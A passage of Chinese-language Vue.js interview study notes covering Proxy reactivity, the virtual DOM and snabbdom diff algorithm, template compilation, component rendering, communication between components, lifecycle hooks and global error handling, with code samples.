    // 测试
    // data.name = 'lisi'
    // data.age = 21
    // // console.log('age', data.age)
    // data.x = '100' // 新增属性,监听不到 —— 所以有 Vue.set
    // delete data.name // 删除属性,监听不到 —— 所有有 Vue.delete
    // data.info.address = '上海' // 深度监听
    data.nums.push(4) // 监听数组
    // proxy-demo
    
    // const data = {
    //     name: 'zhangsan',
    //     age: 20,
    // }
    const data = ['a', 'b', 'c']
    
    const proxyData = new Proxy(data, {
        get(target, key, receiver) {
            // 只处理本身(非原型的)属性
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('get', key) // 监听
            }
    
            const result = Reflect.get(target, key, receiver)
            return result // 返回结果
        },
        set(target, key, val, receiver) {
            // 重复的数据,不处理
            if (val === target[key]) {
                return true
            }
    
            const result = Reflect.set(target, key, val, receiver)
            console.log('set', key, val)
            // console.log('result', result) // true
            return result // 是否设置成功
        },
        deleteProperty(target, key) {
            const result = Reflect.deleteProperty(target, key)
            console.log('delete property', key)
            // console.log('result', result) // true
            return result // 是否删除成功
        }
    })

vdom和diff算法

1. vdom

  • 背景

    • DOM操作非常耗时
    • 以前用jQuery,可以自行控制DOM操作时机,手动调整
    • VueReact是数据驱动视图,如何有效控制DOM操作
  • 解决方案VDOM

    • 有了一定的复杂度,想减少计算次数比较难
    • 能不能把计算,更多的转移为JS计算?因为JS执行速度很快
    • vdomJS模拟DOM结构,计算出最小的变更,操作DOM
  • 用JS模拟DOM结构

  • 通过snabbdom学习vdom

    • 简洁强大的vdom
    • vue2参考它实现的vdomdiff
    • snabbdom
      • h函数
      • vnode数据结构
      • patch函数
  • vdom总结

    • JS模拟DOM结构(vnode
    • 新旧vnode对比,得出最小的更新范围,有效控制DOM操作
    • 数据驱动视图模式下,有效控制DOM操作

2. diff算法

  • diff算法是vdom中最核心、最关键的部分
  • diff算法能在日常使用vue react中体现出来(如key

树的diff的时间复杂度O(n^3)

  • 第一,遍历tree1
  • 第二,遍历tree2
  • 第三,排序
  • 1000个节点,要计算10亿次,算法不可用

优化时间复杂度到O(n)

  • 只比较同一层级,不跨级比较
  • tag不相同,则直接删掉重建,不再深度比较
  • tagkey相同,则认为是相同节点,不再深度比较

diff过程细节

  • 新旧节点都有children,执行updateChildren diff对比
    • 开始和开始对比--头头
    • 结束和结束对比--尾尾
    • 开始和结束对比--头尾
    • 结束和开始对比--尾头
    • 以上四个都未命中:拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
  • children有,旧children无:清空旧text节点,新增新children节点
  • children有,新children无:移除旧children
  • 否则旧text有,设置text为空

vdom和diff算法总结

  • 细节不重要,updateChildren的过程也不重要,不要深究
  • vdom的核心概念很重要:hvnodepatchdiffkey
  • vdom存在的价值更重要,数据驱动视图,控制dom操作
    // snabbdom源码位于 src/snabbdom.ts
    /* global module, document, Node */
    import { Module } from './modules/module';
    import vnode, { VNode } from './vnode';
    import * as is from './is';
    import htmlDomApi, { DOMAPI } from './htmldomapi';
    
    type NonUndefined<T> = T extends undefined ? never : T;
    
    function isUndef (s: any): boolean { return s === undefined; }
    function isDef<A> (s: A): s is NonUndefined<A> { return s !== undefined; }
    
    type VNodeQueue = VNode[];
    
    const emptyNode = vnode('', {}, [], undefined, undefined);
    
    function sameVnode (vnode1: VNode, vnode2: VNode): boolean {
      // key 和 sel 都相等
      // undefined === undefined // true
      return vnode1.key === vnode2.key && vnode1.sel === vnode2.sel;
    }
    
    function isVnode (vnode: any): vnode is VNode {
      return vnode.sel !== undefined;
    }
    
    type KeyToIndexMap = {[key: string]: number};
    
    type ArraysOf<T> = {
      [K in keyof T]: Array<T[K]>;
    }
    
    type ModuleHooks = ArraysOf<Module>;
    
    function createKeyToOldIdx (children: VNode[], beginIdx: number, endIdx: number): KeyToIndexMap {
      const map: KeyToIndexMap = {};
      for (let i = beginIdx; i <= endIdx; ++i) {
        const key = children[i]?.key;
        if (key !== undefined) {
          map[key] = i;
        }
      }
      return map;
    }
    
    const hooks: Array<keyof Module> = ['create', 'update', 'remove', 'destroy', 'pre', 'post'];
    
    export { h } from './h';
    export { thunk } from './thunk';
    
    export function init (modules: Array<Partial<Module>>, domApi?: DOMAPI) {
      let i: number, j: number, cbs = ({} as ModuleHooks);
    
      const api: DOMAPI = domApi !== undefined ? domApi : htmlDomApi;
    
      for (i = 0; i < hooks.length; ++i) {
        cbs[hooks[i]] = [];
        for (j = 0; j < modules.length; ++j) {
          const hook = modules[j][hooks[i]];
          if (hook !== undefined) {
            (cbs[hooks[i]] as any[]).push(hook);
          }
        }
      }
    
      function emptyNodeAt (elm: Element) {
        const id = elm.id ? '#' + elm.id : '';
        const c = elm.className ? '.' + elm.className.split(' ').join('.') : '';
        return vnode(api.tagName(elm).toLowerCase() + id + c, {}, [], undefined, elm);
      }
    
      function createRmCb (childElm: Node, listeners: number) {
        return function rmCb () {
          if (--listeners === 0) {
            const parent = api.parentNode(childElm);
            api.removeChild(parent, childElm);
          }
        };
      }
    
      function createElm (vnode: VNode, insertedVnodeQueue: VNodeQueue): Node {
        let i: any, data = vnode.data;
        if (data !== undefined) {
          const init = data.hook?.init;
          if (isDef(init)) {
            init(vnode);
            data = vnode.data;
          }
        }
        let children = vnode.children, sel = vnode.sel;
        if (sel === '!') {
          if (isUndef(vnode.text)) {
            vnode.text = '';
          }
          vnode.elm = api.createComment(vnode.text!);
        } else if (sel !== undefined) {
          // Parse selector
          const hashIdx = sel.indexOf('#');
          const dotIdx = sel.indexOf('.', hashIdx);
          const hash = hashIdx > 0 ? hashIdx : sel.length;
          const dot = dotIdx > 0 ? dotIdx : sel.length;
          const tag = hashIdx !== -1 || dotIdx !== -1 ? sel.slice(0, Math.min(hash, dot)) : sel;
          const elm = vnode.elm = isDef(data) && isDef(i = data.ns)
            ? api.createElementNS(i, tag)
            : api.createElement(tag);
          if (hash < dot) elm.setAttribute('id', sel.slice(hash + 1, dot));
          if (dotIdx > 0) elm.setAttribute('class', sel.slice(dot + 1).replace(/\./g, ' '));
          for (i = 0; i < cbs.create.length; ++i) cbs.create[i](emptyNode, vnode);
          if (is.array(children)) {
            for (i = 0; i < children.length; ++i) {
              const ch = children[i];
              if (ch != null) {
                api.appendChild(elm, createElm(ch as VNode, insertedVnodeQueue));
              }
            }
          } else if (is.primitive(vnode.text)) {
            api.appendChild(elm, api.createTextNode(vnode.text));
          }
          const hook = vnode.data!.hook;
          if (isDef(hook)) {
            hook.create?.(emptyNode, vnode);
            if (hook.insert) {
              insertedVnodeQueue.push(vnode);
            }
          }
        } else {
          vnode.elm = api.createTextNode(vnode.text!);
        }
        return vnode.elm;
      }
    
      function addVnodes (
        parentElm: Node,
        before: Node | null,
        vnodes: VNode[],
        startIdx: number,
        endIdx: number,
        insertedVnodeQueue: VNodeQueue
      ) {
        for (; startIdx <= endIdx; ++startIdx) {
          const ch = vnodes[startIdx];
          if (ch != null) {
            api.insertBefore(parentElm, createElm(ch, insertedVnodeQueue), before);
          }
        }
      }
    
      function invokeDestroyHook (vnode: VNode) {
        const data = vnode.data;
        if (data !== undefined) {
          data?.hook?.destroy?.(vnode);
          for (let i = 0; i < cbs.destroy.length; ++i) cbs.destroy[i](vnode);
          if (vnode.children !== undefined) {
            for (let j = 0; j < vnode.children.length; ++j) {
              const child = vnode.children[j];
              if (child != null && typeof child !== "string") {
                invokeDestroyHook(child);
              }
            }
          }
        }
      }
    
      function removeVnodes (parentElm: Node,
        vnodes: VNode[],
        startIdx: number,
        endIdx: number): void {
        for (; startIdx <= endIdx; ++startIdx) {
          let listeners: number, rm: () => void, ch = vnodes[startIdx];
          if (ch != null) {
            if (isDef(ch.sel)) {
              invokeDestroyHook(ch); // hook 操作
    
              // 移除 DOM 元素
              listeners = cbs.remove.length + 1;
              rm = createRmCb(ch.elm!, listeners);
              for (let i = 0; i < cbs.remove.length; ++i) cbs.remove[i](ch, rm);
              const removeHook = ch?.data?.hook?.remove;
              if (isDef(removeHook)) {
                removeHook(ch, rm);
              } else {
                rm();
              }
            } else { // Text node
              api.removeChild(parentElm, ch.elm!);
            }
          }
        }
      }
    
      // diff算法核心
      function updateChildren (parentElm: Node,
        oldCh: VNode[],
        newCh: VNode[],
        insertedVnodeQueue: VNodeQueue) {
        let oldStartIdx = 0, newStartIdx = 0;
        let oldEndIdx = oldCh.length - 1;
        let oldStartVnode = oldCh[0];
        let oldEndVnode = oldCh[oldEndIdx];
        let newEndIdx = newCh.length - 1;
        let newStartVnode = newCh[0];
        let newEndVnode = newCh[newEndIdx];
        let oldKeyToIdx: KeyToIndexMap | undefined;
        let idxInOld: number;
        let elmToMove: VNode;
        let before: any;
    
        while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
          if (oldStartVnode == null) {
            oldStartVnode = oldCh[++oldStartIdx]; // Vnode might have been moved left
          } else if (oldEndVnode == null) {
            oldEndVnode = oldCh[--oldEndIdx];
          } else if (newStartVnode == null) {
            newStartVnode = newCh[++newStartIdx];
          } else if (newEndVnode == null) {
            newEndVnode = newCh[--newEndIdx];
    
          // 开始和开始对比--头头
          } else if (sameVnode(oldStartVnode, newStartVnode)) {
            patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
            oldStartVnode = oldCh[++oldStartIdx];
            newStartVnode = newCh[++newStartIdx];
          
          // 结束和结束对比--尾尾
          } else if (sameVnode(oldEndVnode, newEndVnode)) {
            patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
            oldEndVnode = oldCh[--oldEndIdx];
            newEndVnode = newCh[--newEndIdx];
    
          // 开始和结束对比--头尾
          } else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
            patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
            api.insertBefore(parentElm, oldStartVnode.elm!, api.nextSibling(oldEndVnode.elm!));
            oldStartVnode = oldCh[++oldStartIdx];
            newEndVnode = newCh[--newEndIdx];
    
          // 结束和开始对比--尾头
          } else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
            patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
            api.insertBefore(parentElm, oldEndVnode.elm!, oldStartVnode.elm!);
            oldEndVnode = oldCh[--oldEndIdx];
            newStartVnode = newCh[++newStartIdx];
    
          // 以上四个都未命中
          } else {
            if (oldKeyToIdx === undefined) {
              oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
            }
            // 拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
            idxInOld = oldKeyToIdx[newStartVnode.key as string];
      
            // 没对应上
            if (isUndef(idxInOld)) { // New element
              api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
              newStartVnode = newCh[++newStartIdx];
            
            // 对应上了
            } else {
              // 对应上 key 的节点
              elmToMove = oldCh[idxInOld];
    
              // sel 是否相等(sameVnode 的条件)
              if (elmToMove.sel !== newStartVnode.sel) {
                // New element
                api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
              
              // sel 相等,key 相等
              } else {
                patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
                oldCh[idxInOld] = undefined as any;
                api.insertBefore(parentElm, elmToMove.elm!, oldStartVnode.elm!);
              }
              newStartVnode = newCh[++newStartIdx];
            }
          }
        }
        if (oldStartIdx <= oldEndIdx || newStartIdx <= newEndIdx) {
          if (oldStartIdx > oldEndIdx) {
            before = newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].elm;
            addVnodes(parentElm, before, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
          } else {
            removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
          }
        }
      }
    
      function patchVnode (oldVnode: VNode, vnode: VNode, insertedVnodeQueue: VNodeQueue) {
        // 执行 prepatch hook
        const hook = vnode.data?.hook;
        hook?.prepatch?.(oldVnode, vnode);
    
        // 设置 vnode.elem
        const elm = vnode.elm = oldVnode.elm!;
      
        // 旧 children
        let oldCh = oldVnode.children as VNode[];
        // 新 children
        let ch = vnode.children as VNode[];
    
        if (oldVnode === vnode) return;
      
        // hook 相关
        if (vnode.data !== undefined) {
          for (let i = 0; i < cbs.update.length; ++i) cbs.update[i](oldVnode, vnode);
          vnode.data.hook?.update?.(oldVnode, vnode);
        }
    
        // vnode.text === undefined (vnode.children 一般有值)
        if (isUndef(vnode.text)) {
          // 新旧都有 children
          if (isDef(oldCh) && isDef(ch)) {
            if (oldCh !== ch) updateChildren(elm, oldCh, ch, insertedVnodeQueue);
          // 新 children 有,旧 children 无 (旧 text 有)
          } else if (isDef(ch)) {
            // 清空 text
            if (isDef(oldVnode.text)) api.setTextContent(elm, '');
            // 添加 children
            addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
          // 旧 child 有,新 child 无
          } else if (isDef(oldCh)) {
            // 移除 children
            removeVnodes(elm, oldCh, 0, oldCh.length - 1);
          // 旧 text 有
          } else if (isDef(oldVnode.text)) {
            api.setTextContent(elm, '');
          }
    
        // else : vnode.text !== undefined (vnode.children 无值)
        } else if (oldVnode.text !== vnode.text) {
          // 移除旧 children
          if (isDef(oldCh)) {
            removeVnodes(elm, oldCh, 0, oldCh.length - 1);
          }
          // 设置新 text
          api.setTextContent(elm, vnode.text!);
        }
        hook?.postpatch?.(oldVnode, vnode);
      }
    
      return function patch (oldVnode: VNode | Element, vnode: VNode): VNode {
        let i: number, elm: Node, parent: Node;
        const insertedVnodeQueue: VNodeQueue = [];
        // 执行 pre hook
        for (i = 0; i < cbs.pre.length; ++i) cbs.pre[i]();
    
        // 第一个参数不是 vnode
        if (!isVnode(oldVnode)) {
          // 创建一个空的 vnode ,关联到这个 DOM 元素
          oldVnode = emptyNodeAt(oldVnode);
        }
    
        // 相同的 vnode(key 和 sel 都相等)
        if (sameVnode(oldVnode, vnode)) {
          // vnode 对比
          patchVnode(oldVnode, vnode, insertedVnodeQueue);
        
        // 不同的 vnode ,直接删掉重建
        } else {
          elm = oldVnode.elm!;
          parent = api.parentNode(elm);
    
          // 重建
          createElm(vnode, insertedVnodeQueue);
    
          if (parent !== null) {
            api.insertBefore(parent, vnode.elm!, api.nextSibling(elm));
            removeVnodes(parent, [oldVnode], 0, 0);
          }
        }
    
        for (i = 0; i < insertedVnodeQueue.length; ++i) {
          insertedVnodeQueue[i].data!.hook!.insert!(insertedVnodeQueue[i]);
        }
        for (i = 0; i < cbs.post.length; ++i) cbs.post[i]();
        return vnode;
      };
    }

模板编译

前置知识

  • 模板是vue开发中最常用的,即与使用相关联的原理
  • 它不是HTML,有指令、插值、JS表达式,能实现循环、判断,因此模板一定转为JS代码,即模板编译
  • 面试不会直接问,但会通过组件渲染和更新过程考察

模板编译

  • vue template compiler将模板编译为render函数
  • 执行render函数,生成vnode
  • 基于vnode在执行patchdiff
  • 使用webpack vue-loader插件,会在开发环境下编译模板

with语法

  • 改变{}内自由变量的查找规则,当做obj属性来查找
  • 如果找不到匹配的obj属性,就会报错
  • with要慎用,它打破了作用域规则,易读性变差

vue组件中使用render代替template

    // 执行 node index.js
    
    const compiler = require('vue-template-compiler')
    
    // 插值
    const template = `<p>{message}</p>`
    with(this){return _c('p', [_v(_s(message))])}
    // this就是vm的实例, message等变量会从vm上读取,触发getter
    // _c => createElement 也就是h函数 => 返回vnode
    // _v => createTextVNode 
    // _s => toString 
    // 也就是这样 with(this){return createElement('p',[createTextVNode(toString(message))])}
    
    // h -> vnode
    // createElement -> vnode
    
    // 表达式
    const template = `<p>{{flag ? message : 'no message found'}}</p>`
    // with(this){return _c('p',[_v(_s(flag ? message : 'no message found'))])}
    
    // 属性和动态属性
    const template = `
        <div id="div1" class="container">
            <img :src="imgUrl"/>
        </div>
    `
    with(this){return _c('div',
         {staticClass:"container",attrs:{"id":"div1"}},
         [
             _c('img',{attrs:{"src":imgUrl}})])}
    
    // 条件
    const template = `
        <div>
            <p v-if="flag === 'a'">A</p>
            <p v-else>B</p>
        </div>
    `
    with(this){return _c('div',[(flag === 'a')?_c('p',[_v("A")]):_c('p',[_v("B")])])}
    
    // 循环
    const template = `
        <ul>
            <li v-for="item in list" :key="item.id">{{item.title}}</li>
        </ul>
    `
    with(this){return _c('ul',_l((list),function(item){return _c('li',{key:item.id},[_v(_s(item.title))])}),0)}
    
    // 事件
    const template = `
        <button @click="clickHandler">submit</button>
    `
    with(this){return _c('button',{on:{"click":clickHandler}},[_v("submit")])}
    
    // v-model
    const template = `<input type="text" v-model="name">`
    // 主要看 input 事件
    with(this){return _c('input',{directives:[{name:"model",rawName:"v-model",value:(name),expression:"name"}],attrs:{"type":"text"},domProps:{"value":(name)},on:{"input":function($event){if($event.target.composing)return;name=$event.target.value}}})}
    
    // render 函数
    // 返回 vnode
    // patch
    
    // 编译
    const res = compiler.compile(template)
    console.log(res.render)
    
    // ---------------分割线--------------
    
    // 从 vue 源码中找到缩写函数的含义
    function installRenderHelpers (target) {
        target._o = markOnce;
        target._n = toNumber;
        target._s = toString;
        target._l = renderList;
        target._t = renderSlot;
        target._q = looseEqual;
        target._i = looseIndexOf;
        target._m = renderStatic;
        target._f = resolveFilter;
        target._k = checkKeyCodes;
        target._b = bindObjectProps;
        target._v = createTextVNode;
        target._e = createEmptyVNode;
        target._u = resolveScopedSlots;
        target._g = bindObjectListeners;
        target._d = bindDynamicKeys;
        target._p = prependModifier;
    }

Vue组件渲染过程

前言

  • 一个组件渲染到页面,修改data触发更新(数据驱动视图)
  • 其背后原理是什么,需要掌握哪些点
  • 考察对流程了解的全面程度

回顾三大核心知识点

  • 响应式 :监听data属性gettersetter(包括数组)
  • 模板编译 :模板到render函数,再到vnode
  • vdom :两种用法
    • patch(elem,vnode) 首次渲染vnodecontainer
    • patch(vnode、newVnode) 新的vnode去更新旧的vnode
  • 搞定这三点核心原理,vue原理不是问题

组件渲染更新过程

  • 1. 初次渲染过程
    • 解析模板为render函数(或在开发环境已经完成vue-loader模板编译)
    • 触发响应式,监听data属性gettersetter
    • 执行render函数(执行render函数过程中,会获取data的属性触发getter),生成vnode,在执行patch(elem,vnode) elem组件对应的dom节点
      • const template = <p>{message}</p>
      • 编译为render函数 with(this){return _c('p', [_v(_s(message))])}
      • this就是vm的实例, message等变量会从vm上读取,触发getter进行依赖收集
                export default {
            data() {
                return {
                    message: 'hello' // render函数执行过程中会获取message变量值,触发getter
                }
            }
        }
  • 2. 更新过程
    • 修改data,触发setter(此前在getter中已被监听)
    • 重新执行render函数,生成newVnode
    • 在调用patch(oldVnode, newVnode)算出最小差异,进行更新
  • 3. 完成流程图

异步渲染

  • 汇总data的修改,一次更新视图
  • 减少DOM操作次数,提高性能

    methods: {
        addItem() {
            this.list.push(`${Date.now()}`)
            this.list.push(`${Date.now()}`)
            this.list.push(`${Date.now()}`)
    
            // 1.页面渲染是异步的,$nextTick待渲染完在回调
            // 2.页面渲染时会将data的修改做整合,多次data修改也只会渲染一次
            this.$nextTick(()=>{
                const ulElem = this.$refs.ul
                console.log(ulElem.childNotes.length)
            })
        }
    }

总结

  • 渲染和响应式的关系
  • 渲染和模板编译的关系
  • 渲染和vdom的关系

Vue组件之间通信方式有哪些

Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信父子组件通信隔代组件通信兄弟组件通信,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信

组件传参的各种方式

组件通信常用方式有以下几种

  • props / $emit 适用 父子组件通信
    • 父组件向子组件传递数据是通过 prop 传递的,子组件传递数据给父组件是通过$emit 触发事件来做到的
  • ref$parent / $children(vue3废弃) 适用 父子组件通信
    • ref:如果在普通的 DOM 元素上使用,引用指向的就是 DOM 元素;如果用在子组件上,引用就指向组件实例
    • $parent / $children:访问父组件的属性或方法 / 访问子组件的属性或方法
  • EventBus ($emit / $on) 适用于 父子、隔代、兄弟组件通信
    • 这种方法通过一个空的 Vue 实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件
  • $attrs / $listeners(vue3废弃) 适用于 隔代组件通信
    • $attrs:包含了父作用域中不被 prop 所识别 (且获取) 的特性绑定 ( classstyle 除外 )。当一个组件没有声明任何 prop 时,这里会包含所有父作用域的绑定 ( classstyle 除外 ),并且可以通过 v-bind="$attrs" 传入内部组件。通常配合 inheritAttrs 选项一起使用,多余的属性不会被解析到标签上
    • $listeners:包含了父作用域中的 (不含 .native 修饰器的) v-on 事件监听器。它可以通过 v-on="$listeners" 传入内部组件
  • provide / inject 适用于 隔代组件通信
    • 祖先组件中通过 provider 来提供变量,然后在子孙组件中通过 inject 来注入变量。 provide / inject API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态 ,跨级组件间建立了一种主动提供与依赖注入的关系
  • $root 适用于 隔代组件通信 访问根组件中的属性或方法,是根组件,不是父组件。$root只对根组件有用
  • Vuex 适用于 父子、隔代、兄弟组件通信
    • Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。每一个 Vuex 应用的核心就是 store(仓库)。“store” 基本上就是一个容器,它包含着你的应用中大部分的状态 ( state )
    • Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。
    • 改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化。

根据组件之间关系讨论组件通信最为清晰有效

  • 父子组件:props/$emit/$parent/ref
  • 兄弟组件:$parent/eventbus/vuex
  • 跨层级关系:eventbus/vuex/provide+inject/$attrs + $listeners/$root

Vue的生命周期方法有哪些

  1. Vue 实例有一个完整的生命周期,也就是从开始创建初始化数据编译模版挂载Dom -> 渲染更新 -> 渲染卸载等一系列过程,我们称这是Vue的生命周期
  2. Vue生命周期总共分为8个阶段创建前/后载入前/后更新前/后销毁前/后

beforeCreate => created => beforeMount => Mounted => beforeUpdate => updated => beforeDestroy => destroyedkeep-alive下:activateddeactivated

生命周期vue2生命周期vue3描述
beforeCreatebeforeCreate在实例初始化之后,数据观测(data observer) 之前被调用。
createdcreated实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。这里没有$el
beforeMountbeforeMount在挂载开始之前被调用:相关的 render 函数首次被调用
mountedmountedel 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子
beforeUpdatebeforeUpdate组件数据更新之前调用,发生在虚拟 DOM 打补丁之前
updatedupdated由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子
beforeDestroybeforeUnmount实例销毁之前调用。在这一步,实例仍然完全可用
destroyedunmounted实例销毁后调用。调用后, Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。

其他几个生命周期

生命周期vue2生命周期vue3描述
activatedactivatedkeep-alive专属,组件被激活时调用
deactivateddeactivatedkeep-alive专属,组件被销毁时调用
errorCapturederrorCaptured捕获一个来自子孙组件的错误时被调用
  • | renderTracked | 调试钩子,响应式依赖被收集时调用

  • | renderTriggered | 调试钩子,响应式依赖被触发时调用

  • | serverPrefetch | ssr only,组件实例在服务器上被渲染前调用

    1. 要掌握每个生命周期内部可以做什么事
    • beforeCreate 初始化vue实例,进行数据观测。执行时组件实例还未创建,通常用于插件开发中执行一些初始化任务
    • created 组件初始化完毕,可以访问各种数据,获取接口数据等
    • beforeMount 此阶段vm.el虽已完成DOM初始化,但并未挂载在el选项上
    • mounted 实例已经挂载完成,可以进行一些DOM操作
    • beforeUpdate 更新前,可用于获取更新前各种状态。此时view层还未更新,可用于获取更新前各种状态。可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
    • updated 完成view层的更新,更新后,所有状态已是最新。可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。 该钩子在服务器端渲染期间不被调用。
    • destroyed 可以执行一些优化操作,清空定时器,解除绑定事件
    • vue3 beforeunmount:实例被销毁前调用,可用于一些定时器或订阅的取消
    • vue3 unmounted:销毁一个实例。可清理它与其它实例的连接,解绑它的全部指令及事件监听器

    <div id="app">{{name}}</div>
    <script>
        const vm = new Vue({
            data(){
                return {name:'poetries'}
            },
            el: '#app',
            beforeCreate(){
                // 数据观测(data observer) 和 event/watcher 事件配置之前被调用。
                console.log('beforeCreate');
            },
            created(){
                // 属性和方法的运算, watch/event 事件回调。这里没有$el
                console.log('created')
            },
            beforeMount(){
                // 相关的 render 函数首次被调用。
                console.log('beforeMount')
            },
            mounted(){
                // 被新创建的 vm.$el 替换
                console.log('mounted')
            },
            beforeUpdate(){
                //  数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。
                console.log('beforeUpdate')
            },
            updated(){
                //  由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
                console.log('updated')
            },
            beforeDestroy(){
                // 实例销毁之前调用 实例仍然完全可用
                console.log('beforeDestroy')
            },
            destroyed(){ 
                // 所有东西都会解绑定,所有的事件监听器会被移除
                console.log('destroyed')
            }
        });
        setTimeout(() => {
            vm.name = 'poetry';
            setTimeout(() => {
                vm.$destroy()  
            }, 1000);
        }, 1000);
    </script>
  1. 组合式API生命周期钩子

你可以通过在生命周期钩子前面加上 “on” 来访问组件的生命周期钩子。

下表包含如何在 setup() 内部调用生命周期钩子:

选项式 APIHook inside setup
beforeCreate不需要*
created不需要*
beforeMountonBeforeMount
mountedonMounted
beforeUpdateonBeforeUpdate
updatedonUpdated
beforeUnmountonBeforeUnmount
unmountedonUnmounted
errorCapturedonErrorCaptured
renderTrackedonRenderTracked
renderTriggeredonRenderTriggered

因为 setup 是围绕 beforeCreatecreated 生命周期钩子运行的,所以不需要显式地定义它们。换句话说,在这些钩子中编写的任何代码都应该直接在 setup 函数中编写

    export default {
      setup() {
        // mounted
        onMounted(() => {
          console.log('Component is mounted!')
        })
      }
    }

setupcreated谁先执行?

  • beforeCreate:组件被创建出来,组件的methodsdata还没初始化好
  • setup:在beforeCreatecreated之前执行
  • created:组件被创建出来,组件的methodsdata已经初始化好了

由于在执行setup的时候,created还没有创建好,所以在setup函数内我们是无法使用datamethods的。所以vue为了让我们避免错误的使用,直接将setup函数内的this执行指向undefined

    import { ref } from "vue"
    export default {
      // setup函数是组合api的入口函数,注意在组合api中定义的变量或者方法,要在template响应式需要return{}出去
      setup(){
        let count = ref(1)
        function myFn(){
          count.value +=1
        }
        return {count,myFn}
      },
      
    }
  1. 其他问题
  • 什么是vue生命周期? Vue 实例从创建到销毁的过程,就是生命周期。从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、销毁等一系列过程,称之为 Vue 的生命周期。
  • vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑。
  • vue生命周期总共有几个阶段? 它可以总共分为8个阶段:创建前/后、载入前/后、更新前/后、销毁前/销毁后。
  • 第一次页面加载会触发哪几个钩子? 会触发下面这几个beforeCreatecreatedbeforeMountmounted
  • 你的接口请求一般放在哪个生命周期中? 接口请求一般放在mounted中,但需要注意的是服务端渲染时不支持mounted,需要放到created
  • DOM 渲染在哪个周期中就已经完成?mounted中,
    • 注意 mounted 不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕,可以用 vm.$nextTick 替换掉 mounted
          mounted: function () {
        this.$nextTick(function () {
            // Code that will run only after the
            // entire view has been rendered
        })
      }

如何统一监听Vue组件报错

  • window.onerror
    • 全局监听所有JS错误,包括异步错误
    • 但是它是JS级别的,识别不了Vue组件信息,Vue内部的错误还是用Vue来监听
    • 捕捉一些Vue监听不到的错误
  • errorCaptured生命周期
    • 监听所有下级组件 的错误
    • 返回false会阻止向上传播到window.onerror
  • errorHandler配置
    • Vue全局错误监听,所有组件错误都会汇总到这里
    • errorCaptured返回false,不会传播到这里
    • window.onerrorerrorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
  • 异步错误
    • 异步回调里的错误,errorHandler监听不到
    • 需要使用window.onerror
  • 总结
    • 实际工作中,三者结合使用
    • promisepromise没有被catch的报错,使用onunhandledrejection监听)和setTimeout异步,vue里面监听不了
        window.addEventListener("unhandledrejection", event => {
      // 捕获 Promise 没有 catch 的错误
      console.info('unhandledrejection----', event)
    })
    Promise.reject('错误信息')
    // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
* `errorCaptured`监听一些重要的、有风险组件的错误
* `window.onerror`和`errorCaptured`候补全局监听
    // main.js
    const app = createApp(App)
    
    // 所有组件错误都会汇总到这里
    // window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
    // 阻止向window.onerror传播
    app.config.errorHandler = (error, vm, info) => {
      console.info('errorHandler----', error, vm, info)
    }
    // 在app.vue最上层中监控全局组件
    export default {
      mounted() {
        /**
         * msg:错误的信息
         * source:哪个文件
         * line:行
         * column:列
         * error:错误的对象
         */
        // 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
        window.onerror = function (msg, source, line, column, error) {
          console.info('window.onerror----', msg, source, line, column, error)
        }
        // 用addEventListener跟window.onerror效果一样,参数不一样
        // window.addEventListener('error', event => {
        //   console.info('window error', event)
        // })
      },
      errorCaptured: (errInfo, vm, info) => {
        console.info('errorCaptured----', errInfo, vm, info)
        // 返回false会阻止向上传播到window.onerror
        // 返回false会阻止传播到errorHandler
        // return false
      },
    }
    // ErrorDemo.vue
    export default {
      name: 'ErrorDemo',
      data() {
        return {
          num: 100
        }
      },
      methods: {
        clickHandler() {
          try {
            this.num() // 报错
          } catch (ex) {
            console.error('catch.....', ex)
